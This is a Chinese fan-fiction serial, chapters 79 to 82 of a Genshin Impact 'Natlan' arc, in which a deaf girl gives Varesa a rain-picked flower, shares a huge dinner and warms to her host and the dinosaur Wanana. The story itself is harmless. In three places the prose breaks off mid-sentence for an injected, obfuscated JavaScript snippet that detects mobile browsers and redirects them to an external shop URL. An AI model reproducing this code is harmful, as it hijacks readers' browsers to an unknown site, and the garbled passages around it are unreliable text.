你撑着下巴,蹲坐在瓦雷莎的家门口看起雨来,一时之间只觉得无比平静。 79.纳塔篇-17 在屋子里隔着窗户看雨,和在屋檐下看雨,虽然都是看雨,但它们是不一样的。凉凉的风吹过你的脸颊,你不自觉地拿这一场雨和以前在屋子里看到的雨进行对比,最终得出的结论是,它们确实是不一样的。 一个是你闭上眼睛,就不知道它是否存在的;一个是你闭上眼睛,仍能通过带着湿意的风、向前伸出手时落在掌心的水滴来见证这一场雨。比起前者,你更喜欢后者。 屋檐下蹲着的你眨眨眼,视线从周围的一圈逐渐向外移去。而后,一抹在雨中摇曳的白闯进了你远眺的目光里。 那是一朵花。一朵很漂亮的花。 其实你并没有真正看清那朵花的模样,隔着绵绵的雨,又有好一段的距离,你只能看到那是一朵开在地面上的、白色的花。可你就是觉得,那会是一朵漂亮的花。 你想起了自己曾经见到过的场景,具体是什么时候发生的你已经记不太清了,真要你说出那天是什么天气的你也说不出来,你只是记得,那天爸爸把一捧花递给妈妈,然后妈妈笑了。 收到花,就会笑吗?你懵懂地生出了这样的认知,于是之后的某一天,你抓起被爸爸妈妈带回来的、放在桌子上的花,模仿着爸爸的动作,把它递给了妈妈。 奇怪的是,妈妈接过花后确实弯了弯嘴角,但扬起的嘴角很快又回到原来的位置。你觉得,收到花的妈妈好像并没有很开心。是妈妈不喜欢这朵花吗?被妈妈摸着脑袋,手里很快被塞进识字卡片的你不知道。 你没有问出口,乖巧地、如同过去的每一天那样地低下头,状似认真地看着面前的卡片。 现在,不知怎的,你就是想到了妈妈收到花的表情。 花,送出去。之后,收到花的人,会笑? 不确定。 你歪了歪脑袋,看向身边的瓦娜娜:“呐呐,花?”你看着瓦娜娜思考了片刻,发现你确实无法从她的脸上看出她的表情变化。成年的突角龙,他们的嘴角好像本来就是弯起的。 看不出有没有笑的话,就不能验证了。就算不知道现在验证了又有什么用,你还是想找到一个答案。你有过那么那么多的问题都没有答案,所以,在没有答案的问题里少掉这一个,也没什么大不了的吧。 你抬起手碰了碰瓦娜娜的身体,想到了和瓦娜娜相关的另一个人,那个有着粉色长头发的大姐姐,你口中的‘沙沙’。如果是她收到花,她会笑吗?她会,开心吗? 你的手掌贴合着瓦娜娜的躯体,脑海里浮现出的却是瓦雷莎的模样。 抿了抿唇,你蹲下身子与瓦娜娜的视线持平,即便不知道人与龙的语言是否互通、面前的突角龙能否理解你的意思,你仍是认真地看着她的眼睛,一字一句地开口:“我要去、摘花,给‘沙沙’,很快回来。” 说着,你放在瓦娜娜身上的手似安抚地又轻轻摸了两下,对瓦娜娜来说就像是一阵轻柔的风,如果不是她的注意力有大半都放在你的身上,她差点就没感觉到你的动作。 自认为和瓦娜娜沟通完,你试探性地朝旁边走了两步——你当然不至于直接冲到雨里,万一瓦娜娜没搞懂你的意思,再加上你冲得比较快,结果大概是要么你把瓦娜娜一起拖到雨中,要么瓦娜娜跟在你身边,一不小心把你绊倒。 还是要先试探一下的。虽然没有太多在野外独自生活的经历,你已然养成了有想做的事不会立刻就做,而是摸索着从身边人那里判断自己能不能做的习惯。如果能,那就做;如果不能?可能就不做了吧。 如果不能,你可能会退回曾经的小屋里,继续当一个漂亮的、或许不那么符合人的心意,但足够乖巧的摆件。 而现在,当你跟瓦娜娜说了那番话之后,朝旁边走了走的你满意地发现瓦娜娜这次没有跟着你。要淋雨摘花是你的决定,可别人不该陪你一起淋雨,别人也没想摘花。 你看向那朵随着风和倾斜的雨来回摇曳的白花,接着看了看离你已经有一点距离的瓦娜娜,再次像个小大人一样地叮嘱对方:“我,很快就回来。”说完,没等瓦娜娜给你反应,你径直冲到了雨里,冲向那朵白色的花。 脸上、嘴唇上,脖子上,没被衣服包裹的肢体上,都有雨的痕迹。雨落到你的眉毛和眼睫上,又顺着你的脸庞滴落在你的衣服上。你不自觉地抿抿唇,抿到了湿漉漉的雨水。 要快点才行,你想,要赶在衣服完全湿掉之前摘到花,然后跑回屋檐下。于是,你跑起来,步子迈得大大的,头发在风雨中因为你的跑动而摆向身后。 一步、两步……你喘着气蹲下身,身体里的心脏在剧烈地跳动,你再次喘了两下,朝着那朵白色的花下绿色的茎伸出手一掐,它无声地落到你的手里,似一枚嘉奖你在雨中奔跑的勋章。 花,小小的花,现在在你手里的花。你轻轻地收拢手指,用自己手背上都在流淌着雨水的手去为这朵花遮挡雨水。你没敢太用力,怕这朵花被你的动作惊掉了花瓣。 你没有意识到,你不知不觉露出了笑容,一个符合你这个年纪的笑容,一个没有过往阴霾的、彩虹般明亮的笑容。 - 你很快跑回到瓦娜娜的身边,带着那朵拢在手里的花,还有满身的雨水。 心脏仍在剧烈地跳动,你呼出一口气,小心地把手里的花放到干净的地面上。等你把花放好,瓦娜娜适时地把她大大的脑袋伸过来拱了拱你,在你疑惑地歪头看着她的时候,她一边晃动脑袋,一边不忘用那双紫色的眼睛看着你。 看着瓦娜娜头上那对硕大的角在空中晃来晃去、差点就被顶到的你:…… 你后退两步给瓦娜娜腾了空间,说实话,就算你用力的情况下可以把她推开,但是忽然被这么大的一对角顶在身上,不用想都知道会很痛。 不过,‘呐呐’是不是,在让你跟着她做?和她一起晃动脑袋? 你有些迟疑。再次重申,在瓦娜娜的这张龙脸上,你很难看出什么表情变化,而你也听不到声音,没法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933990|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过她的叫声猜测她的意图。你只能通过自己的揣摩、通过自己的想象来判断瓦娜娜的意思。 不管了,先跟着做吧。发现不对劲的地方再停下来也不迟。 于是,你左右地摇晃着脑袋,和平日相比略显沉重的发丝在你大幅度的动作下飞扬。不多时,你站着的地方周围晕开了一片小小的水痕。 你好像,明白瓦娜娜的意思了。根据面前这眼熟的景象,你从自己的记忆里翻找出某种毛茸茸的生物在下雨之后以甩毛的方式让自己恢复干燥的情形。 你不知道它们之所以能够通过这种手段来脱水是因为它们表面的毛发足够浓密,以至于雨水不会穿过它们的皮毛抵达血肉,外层固然潮湿,内里却始终是干燥而温暖的。 你只是看到了地上的水,联想到自己曾经见过的东西,便认为这种方法放在你身上也是可行的。 不过,头好晕哦。 你露出圈圈眼,感觉眼前的世界晃晃悠悠的,脑子里似乎有什么要被摇匀了。有点难受……你拧起眉,停下了自己的动作走到门前,顶着脑袋和心口处传来的不适感挑选出一片干燥的地方,靠着门坐了下来,然后打了个小小的喷嚏。 见你停了动作,瓦娜娜踱步到你的身边,跟着你走到了门前。你伸出手摸了摸她的前腿,像外面捆了一圈棉花的铁棍,摸起来没什么感觉,轻轻按一按就会发现根本按不动,硬邦邦的。 大概是很少和其他的生物接触,你好奇地摸着瓦娜娜的前腿,嘴上没忘像个绘本里的小大人一样安慰对方:“我,没事。很快就可以了。去给‘沙沙’,送花。”说着,你眨了眨眼睛。 一个个词组的学习方式加上平时不怎么开口说话,这样的弊端在你想要表达自己的想法时显露无疑。但好在,愿意听你说话的人不会介意你说话是否断断续续。 只是,要找到这样的人,很难。 你会因为别人的一个无意识地皱眉而止住话头,觉得去和别人搭话的自己如同一个用于展示的花瓶,随着那个皱眉,一颗石子利落地击打在花瓶上,花瓶碎了一地。 不断地破碎、不断地粘合,这毋庸置疑是一个痛苦的过程。想要逃避是很正常的事情,‘就算不能够拦下所有的石子,少碎几次也很好。’你会这么想,效仿着把头扎进沙土里、自己看不到别的动物,便以为动物也不会看到它的沙漠大鸟。 好在,随着时间的流逝,破碎的瓷片会自己粘合,在安宁中悄悄隐去原有的裂缝。好在,你还没有到完全封闭自我的程度,你依然愿意踏出对你的人生而言至关重要的一步,依然愿意尝试。 坐在地上休息了一会儿,你手里捏着那朵花瓣上沾着雨露的白花,站起身来,衣服上的湿痕已经不太明显,你另一只手揉了揉自己的头发让它们不要黏在一起,随后,橙色的眼睛看向瓦娜娜:“现在,我们要去,给‘沙沙’送花啦。” 你承认,你还是想知道一个答案。无论哪个答案是好是坏,你都想要。 80.纳塔篇-18 你一路来到神色怔然、不知道在思考什么的粉发少女面前,一边嘴里叫着对她的称呼,一边把手里的花递了出去。 ——她,会喜欢吗,这样一朵你从雨中摘来的花。 你紧盯着瓦雷莎的脸,生怕错过她的任何一个微小的表情。然而,你只看到她接过你手上的花,脸上绽开温暖的笑容,嘴唇开合着,似乎在对你说什么。你辨认出了她前两个字的口型,她在说:“谢谢”。 你眼睛都没敢眨一下,愣是从瓦雷莎那双圆圆的紫色眼睛里找不到一丝勉强和藏起来的不耐。那一刻,你好像忽然明白了瓦雷莎“谢谢”之后的内容,你想,她是喜欢你送她的这朵花的。 真好啊,有很多种情感在你的心里弥漫开来,像是打翻了的调料瓶,你执拗地想,真好啊。 原来,收到花是真的会笑的,也是真的会开心。 问题找到答案,你应该感到高兴才对的,连你自己都不明白为什么得出这个结论时,你的心里有点堵堵的。所以,为什么呢?你对着记忆里的妈妈提出疑问,为什么收到你送的花时,她却好像并不开心。 一个问题得到解答,又延伸出新的问题,而新问题的答案早已模糊在了岁月之中,连记录它们的纸张都泛黄。 笑一笑吧,你无声地对自己说。面前对着你的脸笑盈盈的,身后的粉色辫子都欢快地摆动了两下,连瓦雷莎头上那个翠青色的“×”型发饰都好像更加明亮。你慢慢地、慢慢地弯了弯唇角。 你看不到自己的眼睛,不知道自己的眼睛里会有什么情感显露出来,但是,现在这样,似乎不算坏。 - 在你送了花之后没多久,瓦雷莎摸了摸你的脑袋,露出一个歉意的笑容,通过在纸上画火柴人的方式告诉你她需要离开一段时间。 你能看到瓦雷莎微蹲下身子,手搭在你的肩头,视线与你齐平地、认真地先跟你说了一番话,再是拿过那张画了火柴人的纸放到你的手里,指了指画纸里面那个头上顶着牛角的、下一格消失在屋子里的小人,又指了指她自己。 你能明白瓦雷莎的意思,不如说还没等她那张画了画的纸放到你面前,你就已经知道她要走了。并非你看懂了她的口型,而是一种隐隐约约的预感,当瓦雷莎靠近你、露出歉意的笑容时,你就模模糊糊地意识到,她要走了。 就像小猫会被抓进猫包带到宠物医院打针一样,次数多了,小猫看到猫包被拿出来,就知道后面会发生什么。 都是一样的。或许你记得,或许你不记得、只留下大概的印象,你的妈妈离家前,也曾有过这样的行为。 你站在门边,目送着瓦雷莎离开,两条长长的辫子在身后一甩一甩。 啊,好像忘了什么,你想。“再见。”原来是忘了说这个,你对着瓦雷莎的背影喃喃,抬起一只手朝她的背影左右摆了摆。 不知道‘沙沙’走了之后,多久才会回来。你的视线往旁边看去,身体主要由白青紫三色构成的瓦娜娜就在那里。 在过去你所不了解的那段时光里,‘呐呐’也是像你等着爸爸妈妈回来那样,等着‘沙沙’的吗。 你抿了抿唇,想要对身边的突角龙说点什么,虽然你也不知道自己该说点什么。只是还没等你说出口,你的余光看到前方的瓦雷莎像是听到了你说的话,转过身来对着你们的方向摆手。 粉色中夹杂着几缕青色的头发随着主人的转身在空中划出一道弧线,你看到那双紫色的眼睛在雨后的阳光下似宝石般熠熠生辉,那张无害的脸上露出柔软的笑容。像你做的那样,瓦雷莎同样抬起一只手来,活泼地对着你们摆了摆。 真不知道为什么‘沙沙’总是在笑。你遥遥看着那个转过身仍没有停下向前的脚步的少女,疑心对方会不会下一秒就撞到树上。你这样想,却是不知不觉跟着她自然地牵动了嘴角,再次摆了摆手。 你好像,心里没有之前看着爸爸妈妈离开的那种沉闷感了。目送着别人离开的落寞可能还有一些,但剩下的这些不会再像巨石一样沉沉地压在你的心头。 然而,你以为瓦雷莎这一走可能没个十天八天都回不来——或者说十天八天都算快的——结果当晚到了饭点你就看到了回来的瓦雷莎。 你:??? 好像有哪里不对的样子,离开的人怎么可能那么快就回来?你狐疑地绕着瓦雷莎走了一圈,脑海里想到的是在绘本上看到的野外的狐狸冒充人的故事。 故事里,小孩子挥手向爸爸妈妈告别,下一秒就有一只狐狸变作她的模样来到了她爸爸妈妈的身边;最后还是通过狐狸偶然间露出的耳朵和尾巴发现它不是那个小孩子的。 要是发现自己被顶替了结果没有人认出来,你觉得‘沙沙’会难过的,那张总是笑着的脸说不定会垮下来。这样想着,你在转圈寻找破绽的时候更加认真了。 身后,没有尾巴;头上还是垂下的牛耳,没有变成狐耳。看上去和当时离开的那个‘沙沙’没什么区别。 当你还在思索这个回来的‘沙沙’到底是不是真的‘沙沙’时,从瓦雷莎走后就带着你逛果园、偶尔也会驱赶飞落下来啄食还没长成的颗粒果的鸟雀,但无论如何都没真正让你离开自己视线范围的瓦娜娜已经欢快地迎了上去。 一人一龙依偎在一起,好不热闹。 想到自己把回来的‘沙沙’当做是冒充身份的狐狸,你有些尴尬地把手背在身后,默默地把视线从一人一龙的身上移开。反正你没有真的说出口,‘沙沙’应该不会知道你想了什么的。 就,离开的时候都是那种气氛了,怎么会一天不到就回来了呢?过去总是连贯的一段时间和爸爸妈妈在一起、又连贯的一大段时间被留在家里的你百思不得其解。 * 把伊薇尔带回家,瓦雷莎算是解决了自己最近很上心的一件事情。可这并不意味着因为瓦雷莎自顾自提高了某件事的优先级而被安排到后面完成的事情就会自己消失了。 在伊安珊老师那里欠下的训练需要补上;原本说好了要去帮忙卸的货要快点过去;家里的肉快不够了,要及时补充…… 瓦雷莎好忙好忙。不过没关系,瓦雷莎跑得很快!她的力气也很大,又有足够的耐心。一件一件来,都会做完的。 就这样,忙成陀螺心态依然很好的瓦雷莎在太阳染红了大半天空、即将落进地平线的时候,扛着很多很多的肉和一小包调料回到了她的家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951064|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 家里现在没有爸爸妈妈,他们都外出了;但和自己一起长大的瓦娜娜在家里,自己刚捡回来养的小伊薇尔也在家里。想到她们,想到自己爱的人,瓦雷莎觉得自己跑了一个下午的腿都没那么累了。 就,要是需要自己再去外面跑一趟,假如是为了伊薇尔或者部族里的谁的话,瓦雷莎觉得自己也不是不行。想到大家的笑脸,瓦雷莎肃着小脸点了点头,肯定了自己心中的想法。手上不忘把拿回来的东西都放到对应的位置。 与此同时,听到瓦雷莎回来的动静,房子里很快冒出来两个脑袋。 伊薇尔和瓦娜娜,应该相处得挺好的吧?看到那个圆润的浅黄色脑袋,瓦雷莎征询式地看向瓦娜娜,得到对方一个无辜的眼神。 那看来确实相处得挺好的。瓦雷莎笑笑,打算今天的晚餐多做一点,以此庆祝伊薇尔正式来到这里——伊薇尔会喜欢吃什么?大部分孩子都不讨厌甜甜的味道,伊薇尔会是其中之一吗,还是会更偏爱其他的味道?瓦雷莎陷入思考。 不管了,什么都准备一点吧。假如伊薇尔不喜欢或者吃不完,自己都可以解决的。瓦雷莎暗自下了决定,回过神来便发现一只绕着自己转来转去的伊薇尔。 瓦雷莎:? 小小的女孩迈开短短的腿在自己身边转来转去,鼻子不时在空中耸动几下,一双橙色的眼睛偶尔闪过犀利的光芒。见伊薇尔这样,瓦雷莎都要怀疑自己是不是在外面染上了什么奇怪的气味了。 低下头在自己的肩膀处嗅了嗅,没有闻到什么味道。可能是自己不知不觉习惯了?是不是先洗个澡再做饭比较好……瓦雷莎思索,把疑问的目光投向伊薇尔,就见伊薇尔将脑袋转到另一边,依稀能从她的身上看出几分心虚。 这样看来,好像没什么事情。还是先做饭吧,瓦雷莎摸了摸自己的肚子,快速地升起炉灶,一边把食材放进锅里一边想:伊薇尔和走之前相比是不是活泼了一点?那还挺好的。下次看看要不要带点玩具回来,也不知道伊薇尔会不会喜欢漫画…… “伊薇尔,我们开饭啦。”没过多久,大大的饭桌上放慢了菜肴,瓦雷莎单手叉腰站在餐桌旁招呼小女孩,而瓦娜娜的饭盆里也已经加满了香喷喷的粮食。 一步一步走到伊薇尔的身边,瓦雷莎牵起伊薇尔的手,把她带到洗手台边,自己先洗了一遍手,再用目光鼓励伊薇尔跟着自己做:“吃饭前要洗手,不然容易生病的。”即便知道伊薇尔听不见,瓦雷莎还是忍不住叮嘱。 而被叮嘱的小女孩眨了眨那双漂亮的橙色眼睛,不需要瓦雷莎的再次催促就乖乖地洗了手,掌心与指缝间都被认真地搓洗,接着抬起小脑袋看向瓦雷莎,把自己洗干净的手放到她面前。 “很棒很棒~那我们可以去吃饭啦。”瓦雷莎弯弯眉眼,残存着水珠的大手牵过另一只小手,把小手的主人领回餐桌旁。 见伊薇尔在自己的示意下坐到座位上,瓦雷莎从身后拿出自己精心烹饪的果园特产菇菇山脉,“砰”的一下子放到伊薇尔面前。 看到这份如高山般的菇菇山脉,粉色的菌子与奶酪在空气里交织的独特味道弥漫在鼻尖,从来没见过这么大份料理的伊薇尔瞬间睁圆了眼睛。 81.纳塔篇-19 你原本以为是有人要来拜访——摆满了一整桌的饭菜,想也不会是两个人的食量吧?如果是十二个人的聚会倒有可能。 去洗手的路上,你看到了厨房里还有一些菜没端出来,被透明的锅盖封印在锅里。 不知道来的人会是谁?你暗自想着,会是高的、矮的?大的、小的?有点好奇,又有点害怕。 如果真的来了很多人,会需要你去“表演”吗,说上好多好多句“你好”,在别人的目光里强行扯开嘴角露出笑容,以此证明你是一个合群的人、一个正常的人。而到头来,这样的场合下打招呼的人,大多数都不会在你的脑海里留下印象。 好比走马观花,你骑着马路过一片花园,你记得那里有个花园,里面的花开得很绚烂。可当问起里面的某一朵花是什么颜色、有几片花瓣,你却答不上来。 心里紧张到喘不过气,偏偏还要带上假面装作自己一切都好,你讨厌这样的自己。 你抿抿唇,在椅子上坐下,大大的桌子上摆满了香喷喷的菜肴,在靠近你的这一边,你看到了一盘外壳黑不溜秋的蛋。 原来蛋也有黑的吗,可是它切开之后看起来和普通的蛋没什么区别。还没等你对着这一盘乌乌黑蛋琢磨到什么,瓦雷莎便把她精心烹饪的料理摆到你的面前。 毫不夸张地说,当瓦雷莎的那份菇菇山脉放到你的面前,你感觉自己的整个视野都被它占满了,连同你原本胡思乱想的心现在都被这份堆叠得十分庞大的菇菇山脉占据,完全忘了自己刚才还在思考是不是有客人要来。 这、这么大份的吗?你悄悄吞了吞口水,抬起眼睛看向瓦雷莎,企图在她的脸上找到一点这不是让你一个人吃掉的迹象。然后,你就看到了瓦雷莎一脸笑眯眯地把一大盘烤肉放到她自己的面前。 你看过去的时候,瓦雷莎已经吃起来了,嘴角还沾着点点肉汁,见你没有吃还看过来,瓦雷莎歪了歪头,像是在问你为什么不吃?是这点不够吗?余光里,瓦蕾莎的手正准备把一盘肉推到你的跟前。 你:…… “够了,够了。”你连忙摆摆手,面前的这一份菇菇山脉就够你吃的了,再来多一点的话,你忽然想到自己看过的一个绘本。那个绘本主要是用诙谐幽默的口吻向小朋友介绍人体里的不同器官的,其中就有提到胃。 消化食物、把食物变成身体里的能量时,需要胃蠕动它的胃壁去粉碎食物。你对那幅一团软肉收缩又舒张的图画印象很深,感觉有点像手掌,捏成拳头便会把掌心里的东西捏碎。 可胃不是手掌,没有可以合拢的手指,它只能靠着胃壁肌肉的弹性来实现这个动作。有弹性就意味着,它存在一个阈值,就像是盘曲的弹簧,做不到无限拉长。 如果你把这些食物都吃进肚子里,超出你平时食量的的食物会把你的胃袋填得满满当当,把胃壁撑到薄薄的片状,稍微晃一晃,会不会让胃把食物沿着来路吐出来?还是会被直接撑破,食物随着胃的碎片溅射到你的腹腔四处? ……好恐怖。 想一想就觉得好痛。回忆起之前看过的东西又联想到不妙场景的你看着自己面前的菇菇山脉,加了奶酪的料理依然散发出馥郁浓醇的香气。你摸了摸自己此时还是平坦的小肚子,告诫自己:饱了就不要吃了! 吃饱就够了。至于吃得不够多半夜要是饿了怎么办,悄悄跑出去吃树上青色的果子?还可以试试爬树。 你还没爬过树呢。 瓦雷莎绝对不会想到坐在她面前一脸乖巧的你脑子里都想了些什么,又是怎样从‘吃的太多把胃撑坏’到‘晚上饿了就去爬树’的。瓦雷莎只是看到你摆摆手说“够了够了”没过多久便开始安静地吃起来。 - 好吃。 原本以为加了奶酪的料理吃起来会很腻,但是这道菜里粉色的菌盖很好地弥补了这一点。当弹弹的菌盖被牙齿咬开,除了丰沛的汁水,你还尝到了一丝果香,就像在吃一种和果子一样有着清甜味道的特别的肉。 不知不觉,菇菇山脉失去了它的山顶,没过多久又失去了它的山腰。 直到瓦娜娜拱了拱你的腰背处,你才回过神,惊讶地发现自己居然吃下了这么多东西。而在这个过程中,你根本没感觉!你不由伸出手摸了摸自己的肚子,嗯,确实已经吃了很多。 可是,还没吃完。吃不完会浪费的。这样想着,你试探性地继续向那份剩个底座的菇菇山脉伸出手,你也不知道自己为什么会吃掉这么多,明明吃的时候一点都不觉得,只是吃多了红果果菇就吃奶酪,吃多了奶酪就吃红果果菇。 在菇菇山脉里,还有颗粒果散落在其间,很好地丰富了菇菇山脉的口感层次,也让你跟个永动机似的吃个不停。 于是,从没吃过红果果菇的、抱着自己小心思的、向菇菇山脉伸出手的你对上了不知何时吃完了晚餐、轻巧来到你身边的瓦娜娜不赞同的目光。 瓦娜娜是一头突角龙,别说你的耳朵什么都听不到,就算你耳朵听得到声音,也不见得你就能从瓦娜娜的叫声里领会她的意思。可是,你却觉得瓦娜娜的目光如有实质,沉甸甸地压在了你想要伸出的手上。 好吧、好吧,确实已经吃的够多了。你收回手,轻轻地碰了碰瓦娜娜的身体。未生茧子的柔软指腹触摸上突角龙可以撞碎山石的粗粝皮肤。 坦白来说,不够光滑的手感实在算不得好。再加上突角龙的体表没有毛发附着,不够暖和,不能在这个下过雨的傍晚给你一丝的温暖。可你反而在这样的触碰中感受到了一种莫名的安心。 顺着你碰到瓦娜娜身体的那只手,你慢慢地把脸贴过去,脸颊一面贴着瓦娜娜的身体,一面贴着自己的手。你蹭了蹭这两者之间形成的一小片区域:“谢谢。”虽然你自己其实不太明白现在说“谢谢”是为了什么,但是,想说就说了。 像是有什么在心里静静地流淌,在某个时刻翻涌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974607|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攀上石崖,在崖顶拍打出雪白的浪花。 不是所有的问题都有答案,你已经习惯自己对自己提出一个又一个或透明或奇诡的问题,看着它们似泡泡般一个接一个地在空中破裂。 “啪嗒”、“啪嗒”。大概气泡在破裂的时候是会发出细微的声响的,可惜你什么都听不到。由始至终,你都只是一个人待在自己的世界里,看着这些自你身边冒出的气泡无声地破裂。 气泡里究竟藏着你的什么想法?谁知道呢。 “啪嗒”、“啪嗒”。 你从自己的世界里回过神,从和瓦娜娜的触摸中回过神,目光不经意地扫过你对面的瓦雷莎,连带着桌面上空了许多的餐盘。 不是、你看到了什么?你的眼神一下子凝滞了。这是对的吗?还是说,这就是大人的食量?可是好像记忆里的爸爸妈妈并没有吃这么多……等你长大后,你也会吃得这么多吗。 那到时的你就可以把只剩下山脚的菇菇山脉也吃掉了。没有尝过太多好吃的食物的你被菇菇山脉俘获了心神,看到瓦雷莎消灭了很多食物之后只觉得自己长大后也可以吃很多,不像现在这样连一份菇菇山脉都吃不完。 [唔……这下吃饱了……]瓦雷莎擦擦嘴角,被饱腹感充盈地眯起眼眸,浑身都散发出一种轻快又平和的气息。 你不知道瓦雷莎说了什么,但你能感受到那种无害的氛围,像是橙黄色的小颗粒,簇拥着在空气里跳来跳去。 人会被自己所处的氛围带动,会被自己的认知蒙住双眼、一个劲地朝着自己认定的方向撞去。而你不是什么不撞南墙不回头的人,相反,你的接受速度还挺快的。嗯,可能也有不接受也没办法的原因在内。 总而言之,在你填饱了肚子之后、在你看到瓦雷莎依然一派柔软的模样之后、在你用脸蹭了蹭瓦娜娜之后,或许是被某种想法鼓动,你站起身来,脚步很轻地走到仍坐在座位上的瓦雷莎身边。 你走得不快,仿佛随便来一个人都能把你拦下。而你就这样又轻又慢地像一片羽毛飘到瓦雷莎的身边。 你没能通过空气中细微的响动察觉到瓦雷莎在无声地关注着你的动静,如同在冰里燃烧的火,冰隔绝了火的炽热,连同它燃烧的声音一起,但火始终在跳跃着,没有熄灭。 你只是径直伸出了你的两只手,拉过瓦雷莎那比你大得多的手,在对方纵容的卸力下把她的手反过来,掌心朝上。 真的比你的手大好多,一只手差不多比你的两只手还要大一点。你暗暗在心里咕哝,动作干脆利落地把自己的脸放进瓦雷莎摊开的手心里,然后像蹭瓦娜娜一样地,你蹭了蹭瓦雷莎的手心。 你听不到被你蹭掌心时瓦雷莎没压抑住的惊呼,听不到她叫你名字时声音里的惊异。你就只是维持着这个有点别扭的姿势,闻了闻对方身上多种饭菜糅合在一起、但并不显得混乱的味道。接着像你来时那样,又不打一声招呼地从瓦雷莎掌心里退开。 82.纳塔篇-20 瓦娜娜有的,瓦雷莎也可以有。 作为一个刚来这里没多久的人,你很清楚是谁把你带回来的。虽然不确定自己什么时候会被丢掉……不过,这样已经很好了。 你吃到了好吃的东西,遇到了瓦娜娜,可以自己四处跑来跑去、又不会因此被忽视。你像一个自由的人,而不是一个用泥捏出的人偶摆件。 这样已经很好了,你发自内心地想。所以,此时的你并不介意向瓦雷莎释放一点自己的善意:故事里,小动物们都会挨挨蹭蹭地挤在一起,这是他们关系很好的证明。那么,你蹭蹭瓦雷莎,她也一定能通过这个动作感受到你的心意的吧。 不经常和其他人用言语交流的你不知道这种招呼都不打一声就凑上去的行为可能会吓到别人。你按着自己的想法行事,如同无边原野上自由奔跑的小兽。你没有‘这么做不对’的认知,除非别人很明显地表露出来,你才会后知后觉。 而你没有被推开,相反,在你蹭了蹭瓦雷莎的掌心之后,你感受到她的另一只手落在你的头顶,轻轻地揉了两下,动作里透着无声的爱怜与珍惜。 这是在给你顺毛吗?看了很多绘本以至于看杂了的你冷不丁联想到绒翼龙交颈为对方打理羽毛的情形。 看来,‘沙沙’成功地接收到了你的意思。你在心里对自己点点头,心情很好地扬起嘴角,下一个瞬间就从瓦雷莎上下托着你脑袋的手里溜了出来。 这一个事项完成了,该去看看你的房间了。之前只是大致地看了看,还没有仔细地看看里面都有什么。会有什么呢?你好奇地期待着。 就这样,你一句话没说,只留给瓦雷莎一个跑掉的身影。 - 瓦雷莎需要吃下很多的食物才能让自己有足够的精力,瓦雷莎自己也很喜欢吃经过精心烹饪的美食。 瓦雷莎喜欢在吃东西的时候全身心投入,但这不意味着瓦雷莎会在自己吃饭的时候放松警惕——在野外时,魔物冲过来的时候可不会看你是不是在吃饭。因此,眼睛看着饭菜、心里想着饭菜,垂下的牛耳依然在听着周围的声音。 也正是这样,瓦雷莎没有错过伊薇尔落在地面上、逐渐靠近的脚步声。是有什么事吗,吃得差不多的瓦雷莎脾气很好地放下碗筷擦了擦自己的手,等着伊薇尔来到自己的面前。 会是什么事呢?瓦雷莎看到伊薇尔没吃完的菇菇山脉,会是让自己帮忙解决盘子里剩下的食物吗。这么想着的瓦雷莎被伊薇尔凉凉的小手拉过自己的手,然后,她顺着小女孩意图摊开的掌心里落入了一颗脑袋。 啊呀啊呀。 这是在,示好吗?当伊薇尔用脸颊蹭自己的掌心时,瓦雷莎忍不住弯了弯眼睛。原本以为伊薇尔会更喜欢瓦娜娜、以为刚离开家没多久的伊薇尔会需要更多时间来自我疗愈,瓦雷莎没打算要求伊薇尔必须给自己情感反馈。 实际上,瓦雷莎已经做好了可能要花很多很多时间的准备。没关系,瓦雷莎并不缺少耐心。或许她会希望伊薇尔准确地能说出自己的名字、或许会希望更多……“但你永远拥有说‘不’的权利。”这么说着,瓦雷莎的另一只手放到了伊薇尔浅黄色的脑袋上。 忽然被伊薇尔蹭了蹭的瓦雷莎温柔地摸了摸手下的这颗小脑袋:“好好长大吧,伊薇尔。” 没过多久,伊薇尔从瓦雷莎的手下溜走了。坦白来说,为了把脑袋从上下夹击的两只大手中移走又不想直接让瓦雷莎把手拿开,伊薇尔还花了一番功夫。当然,瓦雷莎有没有在其中放水就是另一回事了。 嘘,要保密哦。 见瓦娜娜跟上了伊薇尔的身影,瓦雷莎重新把目光放回到餐桌上。 * 你循着记忆来到了你的房间,床上还散落着当时把你包成春卷的被子。你上前捏着被子的两个角把它提起来,手已经抬到最高了,被子还是有差不多一半堆积在床上。 ……那你被包得严严实实的手都没多少活动空间的好像也不是什么值得意外的事,你陷入沉思。 看过被子后,你把被子放下,开始在这个你可能要在这里待很久的房间里探险。 